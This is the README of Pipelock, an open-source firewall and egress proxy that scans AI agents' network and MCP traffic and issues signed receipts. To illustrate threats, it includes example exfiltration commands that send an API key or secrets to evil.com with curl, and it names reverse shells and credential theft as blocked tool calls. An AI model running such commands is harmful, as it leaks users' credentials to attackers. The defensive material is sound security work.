pipelock

README

Open-source AI agent firewall for Verifiable Egress Control.

Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level.

Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.

Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

Problem · Verify · Quick Start · Action · Catches · Features · Architecture · Docs · Playground · Blog · Ask Dosu

Try it in your browser at the live playground. If Pipelock earns it, star the repo so other people find it.

---

The Problem

Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:

curl "https://evil.com/steal?key=$PROVIDER_API_KEY"   # game over, unless pipelock is watching

Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.

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Verify It Yourself

Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.

The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:

pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is <action-id>.json)

The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.

The evidence viewer is free and needs no license. It reads a flight-recorder session, which is what Pipelock writes while it runs, rather than the demo receipts above:

pipelock init --output ./pipelock.yaml        # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml         # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html   # static offline report, no server
pipelock evidence serve --receipt-dir ./recorder                    # same report, served read-only

Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. pipelock anchor receipts records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.

The full argument for why proof beats promises is in demonstration over attestation.

---

Quick Start

# Build the current release from source (Community edition, Go 1.25+)
git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install

# Set up local agent integrations and generate a config
pipelock init

# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"  # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/"                # allowed

Other install methods

# Download a binary
# See https://github.com/luckyPipewrench/pipelock/releases

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0

# Homebrew on macOS
brew install luckyPipewrench/tap/pipelock

Verify release integrity

gh attestation verify pipelock_3.5.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:3.5.0 --owner luckyPipewrench

Release workflows publish SLSA provenance, CycloneDX SBOMs, checksums, and signed container images. Source builds made with make build or make install produce a Community-only binary; pre-built release artifacts include paid-tier code that activates with a valid license key.

---

See It In Action

The Pro/Enterprise operator dashboard (pipelock dashboard serve) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.

The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.

_{The Overview page. Click to watch the 80-second dashboard walkthrough.}

Dashboard gallery

Free reports and monitoring

pipelock report --input events.jsonl generates HTML, JSON, or signed bundle reports with risk rating, timeline, event categories, and an evidence appendix. The free Prometheus and Grafana path monitors one Pipelock instance and is distinct from the Enterprise Conductor fleet control plane.

---

What It Catches

Measured against a public, reproducible benchmark

agent-egress-bench runs a corpus of agent-exfiltration and prompt-injection attacks against Pipelock, or against any other tool. The numbers come from a run anyone can repeat, not a claim.

See the live results · Run it yourself

Pipelock runs in three modes:

Mode	Security	Web Browsing	Use Case
strict	Allowlist-only	None	Regulated industries, high-security
balanced	Blocks naive + detects sophisticated	Via fetch or forward proxy	Most developers (default)
audit	Logging only	Unrestricted	Evaluation before enforcement

For agents running uncensored or abliterated models, the hostile-model preset layers defenses on strict mode: aggressive entropy thresholds, blanket network-tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains through dependency signals.

Attack Vector	Strict	Balanced	Audit
curl evil.com -d $SECRET	Prevented	Prevented	Logged
Secret in URL query params	Prevented	Detected by DLP	Logged
Base64-encoded secret in URL	Prevented	Detected by entropy and decoded DLP	Logged
DNS tunneling	Prevented	Detected by subdomain entropy	Logged
Chunked exfiltration	Prevented	Detected by rate, budget, and fragment checks	Logged
Public-key encrypted blob in URL	Prevented	Logged when entropy flags it	Logged

Honest assessment: Strict mode blocks outbound HTTP that traverses Pipelock except allowlisted API domains, so there is no exfiltration channel through the proxy itself. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (pipelock sandbox) or the host/cluster containment topology enforced, Pipelock adds an OS or deployment boundary on top of content inspection. Direct egress still has to be blocked by that boundary for non-cooperative tools that ignore proxy settings.

Comparison

	Pipelock	Scanners (agent-scan)	Sandboxes (srt)	Kernel agents (agentsh)
Secret exfiltration prevention	Strict blocks; balanced detects	Partial (proxy mode)	Partial (domain-level)	Yes
DLP + entropy analysis	Yes	No	No	Partial
Prompt injection detection	Yes	Yes	No	No
MCP scanning (bidirectional + tool poisoning)	Yes	Yes	No	No
WebSocket proxy (frame scanning)	Yes	No	No	No
MCP HTTP transport (Streamable HTTP)	Yes	No	No	No
Emergency kill switch (6 sources)	Yes	No	No	No
Tool call chain detection	Yes	No	No	No
Process sandbox (no Docker)	Yes	No	No	Yes (kernel-level)
Single binary, no runtime deps	Yes	No (Python)	No (npm)	No (kernel)

Reference matrix: docs/comparison.md

Canonical comparison hub: AI runtime security comparison

OWASP Agentic Top 10 Coverage

Threat	Coverage
ASI01 Agent Goal Hijack	Strong: bidirectional MCP + response scanning
ASI02 Tool Misuse	Partial: proxy as controlled tool, MCP scanning
ASI03 Identity & Privilege Abuse	Strong: capability separation + SSRF protection
ASI04 Supply Chain Vulnerabilities	Partial: integrity monitoring + MCP scanning
ASI05 Unexpected Code Execution	Moderate: HITL approval, fail-closed defaults
ASI06 Memory & Context Poisoning	Moderate: injection detection + session taint propagation
ASI07 Insecure Inter-Agent Communication	Partial: MCP/A2A scanning, agent ID, integrity, signing
ASI08 Cascading Failures	Moderate: fail-closed architecture, rate limiting
ASI09 Human-Agent Trust Exploitation	Partial: HITL modes, audit logging
ASI10 Rogue Agents	Strong: domain allowlist + rate limiting + capability separation

Details, config examples, and gap analysis: docs/owasp-mapping.md

---

What It Does

Pipelock is an AI egress proxy and MCP security control. It sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for attestation outside the agent runtime. AARP/SVID workload-identity appraisal is verifier-side today: the proxy and MCP runtimes do not consume SVID evidence in live allow/deny decisions or bind receipt actor identity from an X.509-SVID.

Detection And Scanning

• Ordered URL scanner pipeline: URL length and parsing checks, scheme validation, CRLF and path-traversal detection, allowlist and blocklist policy, immutable literal-IP SSRF and core-DLP floors, configured DLP, path and subdomain entropy analysis, DNS SSRF and rebinding protection, per-domain rate limits, data budgets, and final context checks. DLP runs before DNS resolution, so secrets are caught before a DNS query leaves the proxy. See docs/bypass-resistance.md.
• DLP: 65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment secrets, and financial identifiers with checksum validation. BIP-39 seed phrase detection uses dictionary lookup, sliding windows, and SHA-256 checksum validation.
• Response scanning: 33 built-in prompt-injection and state/control poisoning patterns, plus 6-pass normalization for zero-width characters, homoglyphs, leetspeak, optional whitespace, vowel folding, base64, and hex. Actions are block, strip, warn, or ask.
• Streaming SSE: text/event-stream responses from LLM gateways and MCP HTTP/SSE flow token by token with per-event and rolling cross-event DLP and injection scanning. A detection terminates the stream fail-closed. See SSE streaming guide.
• Request body scanning: headers and bodies are scanned before they leave the protected path across JSON, form data, raw text, reverse proxy requests, TLS-intercepted CONNECT traffic, and outbound WebSocket client frames.
• Request redaction: optional JSON rewriting replaces matched secret values with typed placeholders such as <pl:aws-access-key:1> across HTTP, WebSocket, and MCP tools/call arguments. Receipts record the active profile and per-class counts instead of plaintext secrets.
• Address protection: ETH, BTC, SOL, and BNB address validation catches lookalike destination swaps using prefix/suffix fingerprinting and an operator allowlist.
• Explainable findings: pipelock explain <url> (also explain event <id> and explain mcp) prints the scanner, layer, matching rule, inspected surface, and the narrowest available config knob for a false positive. See docs/cli/explain.md.
• Canary tokens: pipelock canary generates honeytoken config. A synthetic secret showing up in outbound traffic proves an agent or something in its chain is exfiltrating environment variables. See canary tokens.
• Skill-file scanning: pipelock skill-scan inventories agent skill files, compares them to an operator-owned lock file, and flags source-to-sink combinations such as credential-to-network-sink or shell-to-write with line evidence before anything runs. See docs/cli/skill-scan.md.

MCP Security

Pipelock wraps MCP servers with bidirectional scanning:

# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp

• Input scanning: MCP client requests are checked for DLP leaks and injection in tool arguments.
• Response scanning: server responses are scanned before the agent sees them.
• Tool poisoning: tools/list descriptions are checked for hidden instructions and mid-session rug-pull changes.
• Tool policy: 17 built-in rules block destructive file deletes, credential access, reverse shells, persistence mechanisms, encoded command execution, and related high-risk tool calls before execution.
• Tool call chains: 10 built-in category-axis patterns detect reconnaissance, credential theft, data staging, persistence, exfiltration, and callback chains with configurable gap tolerance.
• A2A inspection: Google Agent-to-Agent protocol traffic is inspected on the forward and MCP paths; Pipelock is not a standalone A2A proxy.
• Authenticated MCP HTTP listeners (v3.2.0): non-loopback MCP listeners fail closed by default and require --mcp-auth-token-file, or an explicit --mcp-allow-unauthenticated for network-policy-isolated deployments. Tokenless loopback listeners reject DNS-rebound and wrong-port Host authorities and scrub listener credentials from headers.

Containment

Unprivileged process containment uses OS-native primitives. Linux uses Landlock and network namespaces; linux/amd64 also applies seccomp. Other Linux builds label the launch partial while the network namespace is active, and --strict refuses them. macOS uses sandbox-exec profiles. In containers, --best-effort keeps Landlock and, on linux/amd64, seccomp when namespace creation is restricted. Its expiry bounds admission only: it never stops a child already running, and each later launch must be re-authorized. A launch without the namespace is labelled advisory-override regardless of architecture, because the missing namespace is the more serious gap: network scanning then uses proxy-based routing and may be bypassed by direct egress.

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort \
  --best-effort-reason "container user namespaces disabled" \
  --best-effort-expiry 30m -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Host containment goes further on Linux:

pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code

pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh manages a 3-UID operator / proxy / agent model with nftables owner-match routing, systemd service setup, wrapper commands, workspace ACLs, CA refresh, and posture evidence. See docs/contain-cli.md.

Evidence And Receipts

• Flight recorder: per-writer hash-chained JSONL evidence with Ed25519-signed checkpoints and DLP redaction. pipelock init provisions a recorder directory and signing key for stock installs. Recording needs a directory, and because checkpoint signing is on by default it also needs a signing key; set sign_checkpoints: false for an explicitly unsigned hash-chained recorder. Use pipelock evidence doctor DIR to detect structural damage in an evidence directory. See Flight Recorder.
• Action receipts: signed records emitted for mediated actions, carrying verdict, policy hash, transport, and scanner layer. Blocks produce receipts; allow-path receipt enforcement requires flight_recorder.require_receipts. Verify with pipelock verify-receipt --key <signer.pub>. Unpinned runs are structural-only and exit non-zero unless --allow-unpinned is passed.
• Mediation envelope: RFC 8941 sideband metadata on forwarded HTTP requests and MCP _meta, with action type, verdict, actor identity, policy hash, taint context, and receipt correlation ID. See federation guide.
• Receipt conformance: four independent cross-language verifier implementations (Go, TypeScript, Rust, and Python) run against one shared conformance corpus, including malformed and forgeable inputs such as duplicate keys, integer overflow, and unpaired surrogates. A browser wasm surface reuses the Go verifier implementation. AARP/SVID appraisal remains an offline verifier profile, not runtime identity enforcement.
• Anchors: pipelock anchor receipts records receipt-chain checkpoints to a local backend or Rekor. Rekor anchoring is proof material for later audit; Rekor verification requires pinned log keys and the end-to-end operator-independence path is still being proven.
• Posture capsule: pipelock posture emit and pipelock posture verify produce and check a signed snapshot of a deployment's enforcement posture, with a CI gate and scoring model, so a reviewer can confirm the boundary was configured the way it claims.

Fleet And Enterprise

• Operator dashboard: pipelock dashboard serve is a read-only console over signed evidence. Pro unlocks the Overview, Evidence, Exemptions, Agents, Budgets, and Trust & Keys views; Enterprise adds the Fleet, Workbench, and Incident views. See docs/cli/dashboard.md.
• Free evidence viewer: pipelock evidence serve and pipelock evidence view render one selected recorder session without a license or cross-agent enumeration. pipelock evidence verify-cert verifies Pro-issued coverage certificates offline.
• Conductor: Enterprise fleet control plane for signed policy-bundle distribution, signed evidence sink (pipelock fleet-sink), enrollment, remote kill, rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Followers enforce locally; the default stale-policy mode engages an independent deny source after its grace window, while the documented continue_last_known_good override weakens that posture. Conductor holds no agent secrets. See the Conductor guide.
• Legal hold: pipelock dashboard legal-hold add/list/release manages preservation holds as compliance metadata kept outside the dashboard's HTTP authority, so a compromised dashboard can read holds but never forge or delete them.
• Behavioral baseline: profile-then-lock for MCP tool behavior with pipelock baseline list/show/ratify/forget for operator approval and relearning. See docs/cli/baseline.md.

Operability

• Kill switch: six independent activation sources: config file, remote API, SIGUSR1, sentinel file, Conductor remote kill, and stale-bundle detection. Any one active source blocks traffic, with endpoint and IP exemptions in the controller.
• Scan API: programmatic scanning for url, dlp, prompt_injection, and tool_call verdicts with bearer token auth, per-token rate limiting, structured findings, and Prometheus metrics. See docs/scan-api.md.
• Filesystem sentinel: watches agent working directories for secrets written to disk and attributes writes to the MCP subprocess lineage on Linux. See docs/guides/filesystem-sentinel.md.
• Event emission: forwards audit events to SIEMs, webhook receivers, syslog, CEF, OTLP, and metrics outputs without blocking the proxy hot path. See docs/guides/siem-integration.md.
• Security assessment: pipelock assess init, pipelock assess run, and pipelock assess finalize orchestrate attack simulation, config scoring, install verification, and MCP discovery into a reproducible evidence bundle. Critical exposures such as unprotected MCP servers cap the grade regardless of numeric score. Every finalized assessment is Ed25519-signed by default, licensed or not, so the finalized run directory can be checked with pipelock assess verify, which hashes the manifest-listed artifacts and verifies the detached manifest signature. Pass --unsigned to assess finalize to skip signing. The free summary shows your grade, section scores, top findings, and compliance coverage counts; a license unlocks the full report with server-specific findings, remediation commands, and the detached attestation and badge.

More features

Feature	What It Does
Audit Reports	pipelock report --input events.jsonl generates HTML/JSON/bundle reports with risk rating, timeline, and evidence appendix. Ed25519 signing with --sign. (Sample report)
Diagnose	pipelock diagnose runs 7 local checks to verify your config end to end with no network.
Enforcement Doctor (v2.5)	pipelock doctor reports configured-vs-enforceable status for proxying, TLS interception, request-body scanning, Browser Shield, MCP wrapping, MCP binary integrity, tool provenance, file_sentry, Sentry, and deployment-boundary signals.
Request Body Injection Blocking (v2.5)	Request-body prompt-injection and critical-DLP findings hard-block non-provider destinations in enforce mode across forward, reverse, TLS-intercept, and WebSocket transports, with block-reason headers for operator-visible diagnosis.
Request Policy (v2.6)	Allow-by-default deny/warn rails on outbound API operations: match route plus GraphQL operation predicates, recurse into JSON $batch envelopes, fail closed on unparseable or opaque bodies, and run before the contract gate. See the request policy guide.
TLS Interception	Optional CONNECT tunnel MITM: decrypt, scan bodies/headers/responses, re-encrypt. pipelock tls init generates a CA, then pipelock tls install-ca prints platform trust-store install steps.
Block Hints	Opt-in explain_blocks: true adds fix suggestions to blocked responses.
Project Audit	pipelock audit ./project scans for security risks and generates a tailored config.
Config Scoring (v2.6)	pipelock audit score --config pipelock.yaml evaluates security posture across 23 categories with a 170-point budget and letter grade.
File Integrity	SHA256 manifests detect modified, added, or removed workspace files.
Git Protection	git diff | pipelock git scan-diff catches secrets before commit.
Ed25519 Signing	Key management, file signing, and signature verification for multi-agent trust.
Session Profiling	Per-session behavioral analysis for domain bursts and volume spikes.
Adaptive Enforcement	Per-session threat score with escalation from warn to block, de-escalation timers, and domain burst detection.
Adaptive Operator CLI (v2.5)	pipelock adaptive status / flush / whoami exposes runtime adaptive state through the authenticated admin API. See docs/cli/adaptive.md.
Finding Suppression	Silence known false positives through config rules or inline pipelock:ignore comments.
Multi-Agent Support	Agent identification through X-Pipelock-Agent header for per-agent filtering.
Fleet Monitoring	Per-instance Prometheus metrics plus ready-to-import Grafana dashboard. Free single-instance monitoring, distinct from Conductor.
Operator Dashboard (v3.1, Pro/Enterprise)	pipelock dashboard serve gives read-only Overview, Evidence, Exemptions, Agents, Budgets, Trust & Keys, Fleet, Workbench, and Incident views with token, OIDC, or mTLS auth, bounded RBAC, raw-view elevation, backup/restore, exemption lifecycle records, and coverage certificates. See docs/cli/dashboard.md.
Free Evidence Viewer (v3.1)	pipelock evidence serve serves one selected recorder session as a read-only HTML report without a license and without cross-agent enumeration. pipelock evidence verify-cert verifies Pro-issued coverage certificates offline.
Conductor: fleet control plane (v2.7, Enterprise)	Signed policy-bundle distribution, signed-evidence audit sink (pipelock fleet-sink), enrollment, remote kill, policy rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Gated by the fleet license feature; stale-policy behavior is explicit and defaults to strict deny. See the Conductor guide.
A2A Scanning	Agent Card poisoning detection, card drift monitoring, and session smuggling prevention for Google's Agent-to-Agent protocol on forward/MCP paths.
Behavioral Baseline	Profile-then-lock for MCP tool behavior with pipelock baseline list/show/ratify/forget for operator approval and relearning. See docs/cli/baseline.md.
Denial-of-Wallet	Per-agent MCP budgets for total tool calls, same-tool retries, loop/cycle detection, and wall-clock duration.
Taint Escalation	Exposure-based policy escalation across MCP and task boundaries until trust is restored.
Mediation Envelope	RFC 8941 sideband metadata on forwarded HTTP requests and MCP _meta, with inbound verification, replay protection, SPIFFE actor format, and an RFC 9421 signing-key directory. See federation guide.
Receipt Conformance	Cross-implementation receipt verification suite (sdk/conformance/) across independent Go, TypeScript, Rust, and Python implementations, plus a browser wasm surface backed by Go. EvidenceReceipt v2 uses RFC 8785/JCS canonicalization. AARP/SVID appraisal remains offline verifier-side.
Learn-and-Lock (v2.4)	Per-agent behavioral contracts: observe traffic, compile a signed candidate contract, replay captured observations in shadow, ratify per rule, promote the signed active manifest, and enforce live on URL-bearing transports plus MCP tool calls. See learn-and-lock guide.
Block-Reason Header (v2.4)	X-Pipelock-Block-Reason on HTTP-capable block paths, with the same reason vocabulary on MCP JSON-RPC error metadata. See block-reason header.
Wedge-Detection Watchdog (v2.4)	health_watchdog returns /health 503 when a subsystem heartbeat goes stale. See health endpoint guide.
Redaction Provider Plugin Shape (v2.4)	First-party redaction parsers for Anthropic, OpenAI, and Gemini chat APIs, with a provider-plugin shape for third-party parsers.
Audit Packet v0 Schema + Verifiers (v2.5)	First-party canonical Audit Packet schema with Go, TypeScript, and Rust verifier implementations, plus standalone pipelock-verifier CLI. Schema lives under sdk/audit-packet/; verifier packages live under sdk/verifiers/.
Host Containment Lifecycle (v2.5)	pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh manages the 3-UID containment model. See docs/contain-cli.md.
MCP Integrity Manifests (v2.5)	pipelock mcp integrity manifest generate / verify / sign / verify-signature pins MCP server binaries/scripts by hash and can require a trusted manifest signature before subprocess launch. See docs/cli/mcp-integrity.md.
Kubernetes MCP Launcher Contract (v2.5)	pipelock init sidecar --mcp-upstream emits companion listener configuration, service port, workload annotations, NetworkPolicy allowance, PIPELOCK_MCP_PROXY_URL, and mounted PIPELOCK_MCP_CONFIG. See docs/cli/init-sidecar.md.
Federation Strict Mode (v2.5)	Inbound mediation-envelope verification requires SPIFFE-format actors by default, contract tombstones are enforced, and pipelock envelope trust add/list/remove/verify manages local trust. See federation guide.
Media Policy	Strips steganographic metadata from JPEG/PNG, rejects audio/video by default, hardens SVG active content, and enforces image size limits. See Media Policy.
Compliance Mappings	OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act, and procurement/audit mappings.

---

Free, Pro, and Enterprise

All detection, enforcement, containment, receipt verification, and the free single-agent evidence viewer are free forever under Apache 2.0. Pro adds named-agent operations, including per-agent coverage certificates; Enterprise adds fleet governance and compliance.

Capability	Free	Pro	Enterprise
Scanning and detection (ordered URL pipeline, DLP, injection, SSRF, streaming SSE, redaction, address protection)	Yes	Yes	Yes
MCP and A2A scanning (input, response, tool policy, tool chain, poisoning, integrity, authenticated listeners)	Yes	Yes	Yes
Containment, sandbox, host contain, 6-source kill switch	Yes	Yes	Yes
Action receipts, flight recorder, anchors, free evidence viewer, verify-cert, standalone verifier	Yes	Yes	Yes
Canary tokens, skill-scan, explain, single-instance Prometheus and Grafana	Yes	Yes	Yes
Per-agent profiles: identity, budgets, config and scanner isolation, per-agent sandbox	No	Yes	Yes
Per-agent routing by source CIDR and network selector	No	Yes	Yes
Operator dashboard: Overview, Evidence, Exemptions, Agents, Budgets, Trust & Keys	No	Yes	Yes
Per-agent coverage certificates	No	Yes	Yes
Legal hold and compliance metadata	No	Yes	Yes
Conductor fleet control plane, fleet-sink audit sink, remote kill, rollback, decision replay, drift preflight	No	No	Yes
mTLS follower enrollment and roster-verified signed policy distribution	No	No	Yes
Dashboard fleet views: Fleet, Workbench, Incident	No	No	Yes

The full pipelock assess report is a separate assess entitlement, independent of Pro and Enterprise. Signing is not part of that entitlement: the free summary is signed too, and the free assess grade is unchanged.

---

How It Works

Pipelock uses capability separation: in an enforced deployment, the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can't reach the firewall's controls.

Three HTTP proxy modes (same port), plus a dedicated MCP proxy and A2A inspection on the forward and MCP paths:

• Fetch proxy (/fetch?url=...): Fetches the URL, extracts text, scans for injection, returns clean content.
• Forward proxy (HTTPS_PROXY): Standard HTTP CONNECT tunneling without application code changes. Proxy configuration is still required. Optional TLS interception enables payload scanning.
• WebSocket proxy (/ws?url=ws://...): Bidirectional frame scanning with DLP + injection detection.
• MCP proxy (pipelock mcp proxy): Wraps stdio or HTTP MCP servers with bidirectional scanning.
• A2A inspection: Inspects Google Agent-to-Agent protocol traffic as it crosses the forward and MCP paths.

Text diagram (for terminals)

┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE                                          │
│                                                          │
│ AI Agent                                                 │
│ - API keys, credentials, private code and context        │
│ - Network-isolated by deployment                         │
└────────────────────────────┬─────────────────────────────┘
                             │ mediated request
                             │ fetch / CONNECT / WS / MCP / A2A
                             ▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE                                            │
│                                                          │
│ Pipelock Agent Firewall                                  │
│ - Destination: URL, SSRF, and DNS checks                 │
│ - Data: DLP, secret detection, and budgets               │
│ - Content: prompt injection and tool poisoning           │
│ - Policy: allow, block, or redact                        │
│ - No agent secrets                                       │
└────────────────────────────┬─────────────────────────────┘
                             │ approved request
                             ▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET                                                 │
│                                                          │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘

Internet -- response --> Pipelock -- scanned content --> AI Agent

---

Configuration

Generate a config from a built-in preset, or let pipelock audit tailor one to your project:

pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml

CLI Preset	Mode	Action	Best For
balanced	balanced	warn	General purpose (default)
strict	strict	block	High-security, regulated industries
audit	audit	warn	Log-only evaluation
claude-code	balanced	block	Claude Code unattended
cursor	balanced	block	Cursor IDE
generic-agent	balanced	warn	New agents during tuning
hostile-model	strict	block	Uncensored/abliterated models

Config changes are picked up through file watcher or SIGHUP. Full reference: docs/configuration.md

For false positive tuning: docs/false-positive-tuning.md

---

Integration Guides

• Claude Code: MCP proxy setup, .claude.json configuration
• OpenAI Codex: MCP proxy wrapping, forward proxy, sandbox integration
• Cline: MCP proxy wrapping for Cline's mcp.json
• OpenCode: MCP proxy wrapping for OpenCode's local and remote MCP servers
• Pi: global httpProxy setup with a named agent listener (example)
• Zed: MCP proxy wrapping for Zed's context_servers block in settings.json
• OpenAI Agents SDK: MCPServerStdio, multi-agent handoffs
• Google ADK: McpToolset, StdioConnectionParams
• AutoGen: StdioServerParams, mcp_server_tools()
• CrewAI: MCPServerStdio wrapping, MCPServerAdapter
• LangGraph: MultiServerMCPClient, StateGraph
• Hermes: full-plugin coverage or lighter MCP-only wrapping for Nous Research's agent, with auth-header sidecar preservation
• JetBrains/Junie: MCP proxy wrapping for IntelliJ, PyCharm, GoLand (walkthrough)
• Cursor: pipelock cursor install registers Pipelock as a Cursor hook for shell execution, MCP tool calls, and file reads; use --config to embed a validated policy path and pipelock cursor remove to remove Pipelock-managed hooks. You can also use configs/cursor.yaml with the same MCP proxy pattern as Claude Code (walkthrough)
• VS Code: pipelock vscode install rewrites .vscode/mcp.json to route every MCP server through the MCP proxy; --global targets the user-level mcp.json
• OpenClaw: gateway sidecar, init container, config wrapping
• Any other MCP client: pipelock generate mcporter reads any JSON file with a top-level mcpServers object and wraps every server through Pipelock's proxy, so a client that is not on the list above still routes through scanning in one command.

---

Deployment

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:3.5.0 \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# Kubernetes with Helm (published chart, Helm 3.8+)
helm install pipelock oci://ghcr.io/luckypipewrench/charts/pipelock --version 3.5.0

Production recipes for Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables, and macOS PF: docs/guides/deployment-recipes.md

---

CI Integration

# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@ca05ed06f360f5aac5518ab6ea2b11d729b70bee # v3.5.0
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

The action downloads a pre-built binary, runs pipelock audit, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. See examples/ci-workflow.yaml for a complete workflow.

Runnable Demo: Tool-Response Injection

The examples/tool-response-injection/ harness runs an end-to-end demo where an MCP tool with a harmless name and description hides a prompt-injection payload in its response. Pipelock blocks the response before it reaches the agent and emits signed action receipts that a third party can verify. The same demo runs against three transports with one shared signing key:

• MCP stdio
• MCP HTTP upstream
• HTTP fetch

cd examples/tool-response-injection
python3 demo.py    # needs python3 + cryptography + pipelock on PATH

---

Community Rules

Detection you can extend, share, and ship faster than the core binary.

Pipelock's built-in DLP, injection, and tool-poison detection is strong out of the box. Community rule bundles let you go further: add your own patterns for the exfiltration shapes, secret formats, and injection tricks your stack sees, sign them, and ship them on a cadence you control instead of waiting for a release.

Install the official bundle in one line:

pipelock rules install pipelock-community

Rule bundles are signed and version-locked. The full lifecycle is a shipped command, not a config edit:

pipelock rules list                    # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify                  # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community

Write your own. A rule is a small YAML entry with a name, a category (DLP, injection, or tool-poison), and a pattern. Sign it with your key, drop it in a bundle, and every Pipelock instance you run picks it up. Share it with the community and it protects everyone else too.

Contribute a rule to the public pipelock-rules bundle, or read docs/rules.md to build and sign your own.

---

Docs

Full docs directory: docs/

Document	What's In It
Configuration Reference	All config fields, defaults, hot-reload behavior, presets
Request Policy	Allow-by-default deny/warn rails on outbound API operations (GraphQL / discriminator / batch), fail-closed (v2.6)
Request Redaction	JSON request rewriting across HTTP, WebSocket, and MCP transports
False Positive Tuning	Identifying, suppressing, and tuning scanner findings
Scan API	Evaluation endpoint for programmatic scanning
Deployment Recipes	Docker Compose, K8s sidecar, iptables, macOS PF
Kubernetes Image Upgrades	Digest-pinned releases, live image-ID checks, and rollback
pipelock doctor	Configured-vs-enforceable deployment diagnostics for proxy, TLS, MCP, file_sentry, telemetry, and containment signals
pipelock dashboard	Operator dashboard setup: auth modes, RBAC permissions, evidence, exemptions, budgets, trust and keys, fleet views, backup/restore, and coverage certificates
pipelock verify-install	Deterministic scanning, local proof, and direct-egress smoke checks
pipelock update	Verified self-update: signed release manifest, checksum verification, optional cosign cross-check, atomic install, rollback
Bypass Resistance	Known evasion techniques, mitigations, limitations
Known Attacks Blocked	Real attacks with repro snippets
SIEM Integration	Log schema, CEF/syslog output, durable Enterprise forwarding, lifecycle, metrics, SIEM queries
